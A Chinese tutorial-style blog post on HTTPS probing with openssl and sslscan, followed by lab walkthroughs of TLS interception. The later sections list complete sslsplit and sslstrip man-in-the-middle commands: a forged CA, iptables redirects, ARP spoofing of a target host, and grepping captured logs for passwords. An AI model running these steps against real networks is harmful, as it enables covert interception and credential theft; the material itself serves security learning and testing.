当前位置: 首页 > news >正文

Https AK--(ssl 安全感满满)

免责声明:本文仅做分享!

目录

https探测

openssl

Openssl连接服务器获取基本信息

连接命令:

指定算法连接:

测试弱协议连接是否可以连接:

得到的内容包括:

sslscan

在线查询证书

https AK type

中间人AK

sslsplit 工具

操作

降级AK


https探测

openssl

OpenSSL是一个安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。

Openssl连接服务器获取基本信息

连接命令:

openssl s_client -connect www.xxx.com:443

指定算法连接:
openssl s_client -tls1_2 -cipher 'ECDHE-RSA-AES128-GCM-SHA256' -connect www.xxx.com:443
测试弱协议连接是否可以连接:
​
┌──(root㉿localhost)-[~]
└─# openssl ciphers -v "NULL,EXPORT,LOW,DES"
TLS_AES_256_GCM_SHA384         TLSv1.3 Kx=any      Au=any   Enc=AESGCM(256)            Mac=AEAD
TLS_CHACHA20_POLY1305_SHA256   TLSv1.3 Kx=any      Au=any   Enc=CHACHA20/POLY1305(256) Mac=AEAD
TLS_AES_128_GCM_SHA256         TLSv1.3 Kx=any      Au=any   Enc=AESGCM(128)            Mac=AEAD
ECDHE-ECDSA-NULL-SHA           TLSv1   Kx=ECDH     Au=ECDSA Enc=None                   Mac=SHA1
ECDHE-RSA-NULL-SHA             TLSv1   Kx=ECDH     Au=RSA   Enc=None                   Mac=SHA1
AECDH-NULL-SHA                 TLSv1   Kx=ECDH     Au=None  Enc=None                   Mac=SHA1
NULL-SHA256                    TLSv1.2 Kx=RSA      Au=RSA   Enc=None                   Mac=SHA256
ECDHE-PSK-NULL-SHA384          TLSv1   Kx=ECDHEPSK Au=PSK   Enc=None                   Mac=SHA384
ECDHE-PSK-NULL-SHA256          TLSv1   Kx=ECDHEPSK Au=PSK   Enc=None                   Mac=SHA256
ECDHE-PSK-NULL-SHA             TLSv1   Kx=ECDHEPSK Au=PSK   Enc=None                   Mac=SHA1
RSA-PSK-NULL-SHA384            TLSv1   Kx=RSAPSK   Au=RSA   Enc=None                   Mac=SHA384
RSA-PSK-NULL-SHA256            TLSv1   Kx=RSAPSK   Au=RSA   Enc=None                   Mac=SHA256
DHE-PSK-NULL-SHA384            TLSv1   Kx=DHEPSK   Au=PSK   Enc=None                   Mac=SHA384
DHE-PSK-NULL-SHA256            TLSv1   Kx=DHEPSK   Au=PSK   Enc=None                   Mac=SHA256
RSA-PSK-NULL-SHA               SSLv3   Kx=RSAPSK   Au=RSA   Enc=None                   Mac=SHA1
DHE-PSK-NULL-SHA               SSLv3   Kx=DHEPSK   Au=PSK   Enc=None                   Mac=SHA1
NULL-SHA                       SSLv3   Kx=RSA      Au=RSA   Enc=None                   Mac=SHA1
NULL-MD5                       SSLv3   Kx=RSA      Au=RSA   Enc=None                   Mac=MD5
PSK-NULL-SHA384                TLSv1   Kx=PSK      Au=PSK   Enc=None                   Mac=SHA384
PSK-NULL-SHA256                TLSv1   Kx=PSK      Au=PSK   Enc=None                   Mac=SHA256
PSK-NULL-SHA                   SSLv3   Kx=PSK      Au=PSK   Enc=None                   Mac=SHA1

得到的内容包括:

1.证书链

2证书

3Cipher-Suite(安全算法)

4会话信息

​
┌──(root㉿localhost)-[~]
└─# openssl s_client www.baidu.com:443
Connecting to 110.242.68.3
CONNECTED(00000003)
depth=2 OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
verify return:1
depth=1 C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
verify return:1
depth=0 C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
verify return:1
---
Certificate chain   ###########证书链###############0 s:C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.comi:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256v:NotBefore: Jul  8 01:41:02 2024 GMT; NotAfter: Aug  9 01:41:01 2025 GMT1 s:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018i:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSigna:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256v:NotBefore: Nov 21 00:00:00 2018 GMT; NotAfter: Nov 21 00:00:00 2028 GMT2 s:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSigni:C=BE, O=GlobalSign nv-sa, OU=Root CA, CN=GlobalSign Root CAa:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256v:NotBefore: Sep 19 00:00:00 2018 GMT; NotAfter: Jan 28 12:00:00 2028 GMT
---
Server certificate      ######证书########
-----BEGIN CERTIFICATE-----
MIIJ7DCCCNSgAwIBAgIMTkADpl62gfh/S9jrMA0GCSqGSIb3DQEBCwUAMFAxCzAJ
BgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMSYwJAYDVQQDEx1H
bG9iYWxTaWduIFJTQSBPViBTU0wgQ0EgMjAxODAeFw0yNDA3MDgwMTQxMDJaFw0y
NTA4MDkwMTQxMDFaMIGAMQswCQYDVQQGEwJDTjEQMA4GA1UECBMHYmVpamluZzEQ
MA4GA1UEBxMHYmVpamluZzE5MDcGA1UEChMwQmVpamluZyBCYWlkdSBOZXRjb20g
U2NpZW5jZSBUZWNobm9sb2d5IENvLiwgTHRkMRIwEAYDVQQDEwliYWlkdS5jb20w
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC1wFMskJ2dseOqoHptNwot
FOhdBERsZ4VQnRNKXEEXMQEfgbNtScQ+C/Z+IpRAt1EObhYlifn74kt2nTsCQLng
jfQkRVBuO/6PNGKdlCYGBeGqAL7xR+LOyHnpH9mwCBJc+WVt2zYM9I1clpXCJa+I
tsq6qpb1AGoQxRDZ2n4K8Gd61wgNCPHDHc/Lk9NPJoUBMvYWvEe5lKhHsJtWtHe4
QC3y58Vi+r5R0PWn2hyTBr9fCo58p/stDiRqp9Irtmi95YhwkNkmgwpMB8RhcGoN
h+Uw5TkPZVj4AVaoPT1ED/GMKZev0+ypmp0+nmjVg2x7yUfLUfp3X7oBdI4TS2hv
AgMBAAGjggaTMIIGjzAOBgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADCBjgYI
KwYBBQUHAQEEgYEwfzBEBggrBgEFBQcwAoY4aHR0cDovL3NlY3VyZS5nbG9iYWxz
aWduLmNvbS9jYWNlcnQvZ3Nyc2FvdnNzbGNhMjAxOC5jcnQwNwYIKwYBBQUHMAGG
K2h0dHA6Ly9vY3NwLmdsb2JhbHNpZ24uY29tL2dzcnNhb3Zzc2xjYTIwMTgwVgYD
VR0gBE8wTTBBBgkrBgEEAaAyARQwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly93d3cu
Z2xvYmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wCAYGZ4EMAQICMD8GA1UdHwQ4MDYw
NKAyoDCGLmh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vZ3Nyc2FvdnNzbGNhMjAx
OC5jcmwwggNhBgNVHREEggNYMIIDVIIJYmFpZHUuY29tggxiYWlmdWJhby5jb22C
DHd3dy5iYWlkdS5jboIQd3d3LmJhaWR1LmNvbS5jboIPbWN0LnkubnVvbWkuY29t
ggthcG9sbG8uYXV0b4IGZHd6LmNuggsqLmJhaWR1LmNvbYIOKi5iYWlmdWJhby5j
b22CESouYmFpZHVzdGF0aWMuY29tgg4qLmJkc3RhdGljLmNvbYILKi5iZGltZy5j
b22CDCouaGFvMTIzLmNvbYILKi5udW9taS5jb22CDSouY2h1YW5rZS5jb22CDSou
dHJ1c3Rnby5jb22CDyouYmNlLmJhaWR1LmNvbYIQKi5leXVuLmJhaWR1LmNvbYIP
Ki5tYXAuYmFpZHUuY29tgg8qLm1iZC5iYWlkdS5jb22CESouZmFueWkuYmFpZHUu
Y29tgg4qLmJhaWR1YmNlLmNvbYIMKi5taXBjZG4uY29tghAqLm5ld3MuYmFpZHUu
Y29tgg4qLmJhaWR1cGNzLmNvbYIMKi5haXBhZ2UuY29tggsqLmFpcGFnZS5jboIN
Ki5iY2Vob3N0LmNvbYIQKi5zYWZlLmJhaWR1LmNvbYIOKi5pbS5iYWlkdS5jb22C
EiouYmFpZHVjb250ZW50LmNvbYILKi5kbG5lbC5jb22CCyouZGxuZWwub3JnghIq
LmR1ZXJvcy5iYWlkdS5jb22CDiouc3UuYmFpZHUuY29tgggqLjkxLmNvbYISKi5o
YW8xMjMuYmFpZHUuY29tgg0qLmFwb2xsby5hdXRvghIqLnh1ZXNodS5iYWlkdS5j
b22CESouYmouYmFpZHViY2UuY29tghEqLmd6LmJhaWR1YmNlLmNvbYIOKi5zbWFy
dGFwcHMuY26CDSouYmR0anJjdi5jb22CDCouaGFvMjIyLmNvbYIMKi5oYW9rYW4u
Y29tgg8qLnBhZS5iYWlkdS5jb22CESoudmQuYmRzdGF0aWMuY29tghEqLmNsb3Vk
LmJhaWR1LmNvbYISY2xpY2suaG0uYmFpZHUuY29tghBsb2cuaG0uYmFpZHUuY29t
ghBjbS5wb3MuYmFpZHUuY29tghB3bi5wb3MuYmFpZHUuY29tghR1cGRhdGUucGFu
LmJhaWR1LmNvbTAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0j
BBgwFoAU+O9/8s14Z6jeb48kjYjxhwMCs+swHQYDVR0OBBYEFK3KAFTK2OWUto+D
2ieAKE5ZJDsYMIIBfwYKKwYBBAHWeQIEAgSCAW8EggFrAWkAdgCvGBoo1oyj4KmK
TJxnqwn4u7wiuq68sTijoZ3T+bYDDQAAAZCQAGzzAAAEAwBHMEUCIFwF5Jc+zyIF
Gnpxchz9fY1qzlqg/oVrs2nnuxcpBuuIAiEAu3scD6u51VOP/9aMSqR2yKHZLbHw
Fos9U7AzSdLIZa8AdgAS8U40vVNyTIQGGcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAA
AZCQAG3iAAAEAwBHMEUCIBBYQ6NP7VUDgfktWRg5QxT23QAbTqYovtV2D9O8Qc0T
AiEA2P7+44EvQ5adwL1y56oyxv/m+Gujeia7wpo7+Xbhv6MAdwAN4fIwK9MNwUBi
EgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZCQAGy+AAAEAwBIMEYCIQDU7Hxtx4c9
p9Jd+cr+DCMtyRYSc0b8cktCcbMmtDE9ygIhAIpJd4yb7jtxnaEC8oLWDushbK1v
0BIuZu6YrQvsf1nQMA0GCSqGSIb3DQEBCwUAA4IBAQCh9DfewC012/+fHZpmSpCn
y+h3/+ClAZ8cJVO+LCmYz9r6bkyhcFquJ5qUpyoW8AYtU0oUFlqH6zLIyujW+7lq
wFxB6NsXKKdwBKmMbmnZr2Fca5f+TtwD/GDJgG/egr7fI1u8194j9KEl8cK8Fujm
+UsoWklEzd1It9xkLazJR/6SwbhSR4k610pvj8rQrS4wAewuYFDaDOfqsHtDIsx1
tZfIfoB/O1wGWZQJU2M9wC8uYq0jQ2Q0MQJXuyJz04MFiGrPAS1Uk8mWd8M+3p65
Xy4iAf8uWzs1M+fcwBE8BNBghkQgE+FSUsldm+5ZBCazU0joJswzldWisXMLTagI
-----END CERTIFICATE-----
subject=C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
issuer=C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
---      #########安全算法#########
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: ECDH, prime256v1, 256 bits
---
SSL handshake has read 5414 bytes and written 586 bytes
Verification: OK
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:     ############会话信息############Protocol  : TLSv1.2Cipher    : ECDHE-RSA-AES128-GCM-SHA256Session-ID: C3DE19032169B078EA8451E76C755BDBB63667BA8CC84791169936F15F8108EDSession-ID-ctx:Master-Key: B7E6E9F69ECA343EE4DFC516504105129748858E4A411009D9A929254F0D27423E3D94A122F01B4FFCE841383938FC82PSK identity: NonePSK identity hint: NoneSRP username: NoneTLS session ticket:0000 - f4 89 30 9d 52 3d 65 42-67 d7 26 9a e8 98 bf 66   ..0.R=eBg.&....f0010 - d8 b6 30 d7 8f 4e f9 a6-a5 05 06 dd 10 35 28 8f   ..0..N.......5(.0020 - 61 d5 b2 d6 a6 6c 1c d6-a1 1e 74 df aa 28 64 7a   a....l....t..(dz0030 - 0a 77 65 b0 e4 9d 7d 69-b0 0b 1f 74 14 3d 60 55   .we...}i...t.=`U0040 - 13 c2 07 e5 0f bf 2a 1d-0e 91 6c 70 67 48 57 62   ......*...lpgHWb0050 - a3 5a ed a6 83 94 72 a2-ab 0c a0 73 f4 f1 54 68   .Z....r....s..Th0060 - d3 d6 93 63 32 b6 7f 92-4a de ac ad 2d e5 ad 21   ...c2...J...-..!0070 - 8d 70 de 4e a3 95 01 c1-03 31 40 9b f9 e8 77 c8   .p.N.....1@...w.0080 - ee b2 30 4b 05 2e 84 b8-81 2c fe ca 02 cd b8 ed   ..0K.....,......0090 - e0 11 c8 54 03 39 c9 59-08 8f 29 4d d0 dc b5 29   ...T.9.Y..)M...)
​Start Time: 1722726526Timeout   : 7200 (sec)Verify return code: 0 (ok)Extended master secret: no
---
​

sslscan

sslscan --tlsall 域名:443
​

在线查询证书

测试,返回信息,安全性,

SSL Server Test (Powered by Qualys SSL Labs)

???....


https AK type

中间人攻击在这些攻击中,黑客将自己置于用户和服务器之间,拦截通信。 它们可以窃听和修改它们之间传输的数据,获取登录凭证或财务细节等敏感信息。
降级攻击此类攻击以 SSL 协议为目标,迫使通信使用过时的版本,如 SSL 3.0。 攻击者可以利用协议中的弱点,对加密流量进行解密。
SSL 剥离攻击这些攻击利用 HTTPS 连接建立方式中的漏洞。 攻击者拦截用户与网络服务器之间的流量,并将连接降级为 HTTP。 由于用户和服务器之间传输的其他敏感数据没有像 HTTPS 连接那样加密,因此这种操作允许他们查看和操作这些数据。
SSL 重新协商攻击网络犯罪分子利用客户端和服务器之间 SSL 流量重新协商的缺陷。 通过操纵这一过程,他们可以在通信中注入恶意代码或命令,从而可能破坏连接。
会话劫持攻击在这些攻击中,攻击者会窃取用户或服务器的会话验证证书或私钥,从而冒充证书持有者。 这样,他们就能在任何一方都没有意识到自己受到威胁的情况下拦截和操纵传输。
SSL 注入攻击这些漏洞涉及通过 SSL 流量在用户和服务器之间的通信中注入恶意代码或命令。 因此,黑客会在未经授权的情况下获取敏感信息。
漏洞

SSL 攻击和漏洞 - 基本指南 - SSL Dragon


 

中间人AK

2014 年的Darkhotel 攻击是中间人攻击的一个突出真实案例。 在这场复杂的网络间谍活动中,黑客潜入了政府官员和企业高管等高级别客人经常光顾的酒店 Wi-Fi 网络。

sslsplit 工具

透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器
伪装成普通客户端伪装服务器需要伪造证书
支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

操作

产生公钥:
openssl genrsa -out ag.key 2048
产生CA证书:
openssl req -new -x509 -days 365 -key ag.key -out ag.crt
​
---> 
.key
.crt

激活路由转发:

echo 1 >/proc/sys/net/ipv4/ip_forward
​

查看规则:
iptables -L
查看 NAT 规则:
iptables -t nat -L
清空NAT规则:
iptables -t nat -F
​
确认80和443没有其他服务在侦听:
netstat -pantu | grep 80
netstat -pantu | grep 443
​
配置NAT规则:(配置完成后使用 iptables -t nat -L 查看策略)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
​
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
​
格式介绍:
-t:指定表;
-APERROUTING:路由前生效;
-p:指定协议;
--dport:接受流量的端口;
-j:指定处理方法(REDIRECT重定向);
--to-ports:转发端口

开启arp欺骗:

工作组&局域网-ARP欺骗-攻击防御&单双向_内网arp双向欺骗-CSDN博客

arpspoof -i eth0 -t 192.168.49.133 -r 192.168.49.2

mkdir -p /home/kali/桌面/logdir
​
激活中间人:
sslsplit -D -l connect.log -j /home/kali/桌面/ -S /home/kali/桌面/logdir/ -k ag.key -c ag.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

访问--证书会报错---继续,-- 然后在上面的操作流量就会被监控。

grep pwd *


降级AK

2014 年,谷歌研究人员 Bodo Möller、Thai Duong 和 Krzysztof Kotowicz 发现了这个名为[POODLE 的漏洞](https://www.ssldragon.com/zh/blog/what-is-poodle-attack-ssl/)。 这次攻击的目标是 SSL 3.0 加密协议,当时网络服务器和浏览器仍广泛支持该协议。

https--->http

不用考虑证书的问题. (自己产生)

激活:由于sslstrip只能支持一个端口,所以需要把所有流量都引到8080
​
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
iptables -t nat -L
​
​
arpspoof -i eth0 -t 192.168.49.133 -r 192.168.49.2
激活:
sslstrip -l 8080

--只有纯https加密的才行.

logex 解析工具:

wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/logex/log_ex.py.tar.gz

tar -zxvf log_ex.py.tar.gz

./log_ex.py sslstrip.log -a -r

人家网站要不就是加密+组件加密 .

要不就是不加密 .


...

相关文章:

Https AK--(ssl 安全感满满)

免责声明:本文仅做分享! 目录 https探测 openssl Openssl连接服务器获取基本信息 连接命令: 指定算法连接: 测试弱协议连接是否可以连接: 得到的内容包括: sslscan 在线查询证书 https AK type 中间人AK sslsplit 工具…...

ERROR: Failed building wheel for cython_bbox | pip install cython_bbox 失败【解决方案】

🥇 版权: 本文由【墨理学AI】原创首发、各位读者大大、敬请查阅、感谢三连 🎉 声明: 作为全网 AI 领域 干货最多的博主之一,❤️ 不负光阴不负卿 ❤️ 文章目录 win11 系统 pip3 install cython_bbox 失败报错如下解决方法:1 下载…...

逻辑与位运算的双面舞者:、、|、||深度解析

深入解析&、&&、|、||:逻辑与位运算的奥秘之旅 在编程的世界里,&、&&、|、||这四种运算符扮演着至关重要的角色。它们不仅仅是简单的符号,更是连接程序逻辑、实现复杂功能的桥梁。本文旨在深入探讨这四者的区别与联…...

中断门+陷阱门

中断门: 中断描述符在IDT表里面 kd> dq idtr 80b95400 83e48e000008bfc0 83e48e000008c150 80b95410 0000850000580000 83e4ee000008c5c0 80b95420 83e4ee000008c748 83e48e000008c8a8 80b95430 83e48e000008ca1c 83e48e000008d018 80b95440 000085000050…...

RTMP直播播放器的几种选择

如何选择RTMP播放器? 在选择RTMP播放器时,需要综合考虑多个因素,以确保选择的播放器能够满足实际需求并提供良好的用户体验。以下是一些选择RTMP播放器的建议: 1. 功能需求 低延迟:对于直播场景,低延迟是…...

初识爬虫1

学习路线:爬虫基础知识-requests模块-数据提取-selenium-反爬与反反爬-MongoDB数据库-scrapy-appium。 对应视频链接(百度网盘):正在整理中 爬虫基础知识: 1.爬虫的概念 总结:模拟浏览器,发送请求,获取…...

【趣学Python算法100例】兔子产子

问题描述 有一对兔子,从出生后的第3个月起每个月都生一对兔子。小兔子长到第3个月后每个月又生一对兔子,假设所有的兔子都不死,问30个月内每个月的兔子总对数为多少? 题目解析 兔子产子问题是一个有趣的古典数学问题&#xff0c…...

HTTP 四、HttpClient的使用

一、简单介绍 1、简介 HttpClient是Apache Jakarta Common下的子项目,用来提供高效的、最新的、功能丰富的支持HTTP协议的客户端编程工具包,并且它支持HTTP协议最新的版本和建议。HttpClient已经应用在很多的项目中,比如Apache Jakarta上很著…...

C语言:结构体变量

1. 结构体变量的引用方法 例如,若有数据定义: struct Student{char name[10];int age;struct Date birthday; }s1,s2,stu[10]; 则下面对结构体变量的引用都是正确的: s1.age20; scanf("%d",&s1.age); gets(stu[0].name); s…...

bibtex是什么

BibTeX 是一个用于处理和格式化参考文献的工具,常与 LaTeX 一起使用。它提供了一种方便的方式来管理和生成参考文献列表,特别适用于学术写作和科研论文中。以下是对 BibTeX 的详细介绍: 基本概念 BibTeX 是 LaTeX 的一个附加工具&#xff0…...

【大模型专栏—进阶篇】智能对话全总结

大模型专栏介绍 😊你好,我是小航,一个正在变秃、变强的文艺倾年。 🔔本文为大模型专栏子篇,大模型专栏将持续更新,主要讲解大模型从入门到实战打怪升级。如有兴趣,欢迎您的阅读。 &#x1f4…...

MVC应用单元测试以及请求参数的验证

SpringMVC支持对Controller单元测试 RunWith(SpringJUnit4ClassRunner.class) ContextConfiguration(locations {"classpath:mvc-dispatcher-servlet.xml", }) WebAppConfiguration public class ControllerJUnitBase{Resourceprivate RequestMappingHandlerMappin…...

算法:TopK问题

题目 有10亿个数字,需要找出其中的前k大个数字。 为了方便讲解,这里令k为5。 思路分析(以找前k大个数字为例) 很容易想到,进行排序,然后取前k个数字即可。 但是,难点在于,10亿个数…...

.json文件的C#解析,基于Newtonsoft.Json插件

目录 1. 前言 2. 正文 2.1 问题 2.2 解决办法 2.2.1 思路 2.2.2 代码实现 2.2.3 测试结果 3. 备注 1. 前言 天气晚来秋,这几天天气变凉了,各位同学注意好多穿衣服。回归正题 由于需要,需要将json的配置里面的调理解析出来,做成接口,以便于开发。 2. 正文 2.1 …...

四、(JS)JS中常见的加载事件

一、文档加载监听 (1)抛出疑惑,什么是文档加载监听?为什么要有这个东西? 老样子,我们先讲一个场景,带着大家熟悉为什么会有文档加载监听,是来解决什么问题来着的。 我们先看下这段…...

[网络]https的概念及加密过程

文章目录 一. HTTPS二. https加密过程 一. HTTPS https本质上就是http的基础上增加了一个加密层, 抛开加密之后, 剩下的就是个http是一样的 s > SSL HTTPS HTTP SSL 这个过程, 涉及到密码学的几个核心概念 明文 要传输的真正意思是啥 2)密文 加密之后得到的数据 这个密文…...

React 嵌套类名样式不生效

修改前 父级.blog样式生效&#xff0c;子级.circle样式不生效 // app/blog/page.js import styles from "./page.module.scss"export default function Blog () {return (<div className{styles.blog}><div classNamecircle><div /></div>…...

20Kg载重30分钟续航多旋翼无人机技术详解

一、机架与结构设计 1. 材料选择&#xff1a;为了确保无人机能够承载20Kg的负载&#xff0c;同时实现30分钟的续航&#xff0c;其机架材料需选用轻质高强度的材料&#xff0c;如碳纤维或铝合金。这些材料不仅具有良好的承重能力&#xff0c;还能有效减轻无人机的整体重量&…...

详解c++:认识类

文章目录 前言一、类是什么二、类&#xff08;class&#xff09;的使用publicprivate&#xff1a;protected&#xff1a; 前言 C 是一种面向对象的编程语言。面向对象编程是一种编程范式&#xff0c;它使用“对象”来设计软件应用程序。在面向对象编程中&#xff0c;对象包含了…...

HTML5中的重要元素详解

第3章 HTML5中的重要元素 3.1 html根元素 HTML文档中&#xff0c;元素html代表了文档的根&#xff0c;其他所有元素都是在该元素的基础上进行延伸或拓展的&#xff0c;该元素也是HTML文档的最外层元素&#xff0c;因此也称为根元素。 html元素的常用属性&#xff1a; manif…...

简易版抽奖活动的设计技术方案

1.前言 本技术方案旨在设计一套完整且可靠的抽奖活动逻辑,确保抽奖活动能够公平、公正、公开地进行,同时满足高并发访问、数据安全存储与高效处理等需求,为用户提供流畅的抽奖体验,助力业务顺利开展。本方案将涵盖抽奖活动的整体架构设计、核心流程逻辑、关键功能实现以及…...

TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案

一、TRS收益互换的本质与业务逻辑 &#xff08;一&#xff09;概念解析 TRS&#xff08;Total Return Swap&#xff09;收益互换是一种金融衍生工具&#xff0c;指交易双方约定在未来一定期限内&#xff0c;基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...

Android15默认授权浮窗权限

我们经常有那种需求&#xff0c;客户需要定制的apk集成在ROM中&#xff0c;并且默认授予其【显示在其他应用的上层】权限&#xff0c;也就是我们常说的浮窗权限&#xff0c;那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...

Typeerror: cannot read properties of undefined (reading ‘XXX‘)

最近需要在离线机器上运行软件&#xff0c;所以得把软件用docker打包起来&#xff0c;大部分功能都没问题&#xff0c;出了一个奇怪的事情。同样的代码&#xff0c;在本机上用vscode可以运行起来&#xff0c;但是打包之后在docker里出现了问题。使用的是dialog组件&#xff0c;…...

Reasoning over Uncertain Text by Generative Large Language Models

https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...

使用Spring AI和MCP协议构建图片搜索服务

目录 使用Spring AI和MCP协议构建图片搜索服务 引言 技术栈概览 项目架构设计 架构图 服务端开发 1. 创建Spring Boot项目 2. 实现图片搜索工具 3. 配置传输模式 Stdio模式&#xff08;本地调用&#xff09; SSE模式&#xff08;远程调用&#xff09; 4. 注册工具提…...

MySQL JOIN 表过多的优化思路

当 MySQL 查询涉及大量表 JOIN 时&#xff0c;性能会显著下降。以下是优化思路和简易实现方法&#xff1a; 一、核心优化思路 减少 JOIN 数量 数据冗余&#xff1a;添加必要的冗余字段&#xff08;如订单表直接存储用户名&#xff09;合并表&#xff1a;将频繁关联的小表合并成…...

Razor编程中@Html的方法使用大全

文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...

windows系统MySQL安装文档

概览&#xff1a;本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容&#xff0c;为学习者提供全面的操作指导。关键要点包括&#xff1a; 解压 &#xff1a;下载完成后解压压缩包&#xff0c;得到MySQL 8.…...

抽象类和接口(全)

一、抽象类 1.概念&#xff1a;如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象&#xff0c;这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法&#xff0c;包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中&#xff0c;⼀个类如果被 abs…...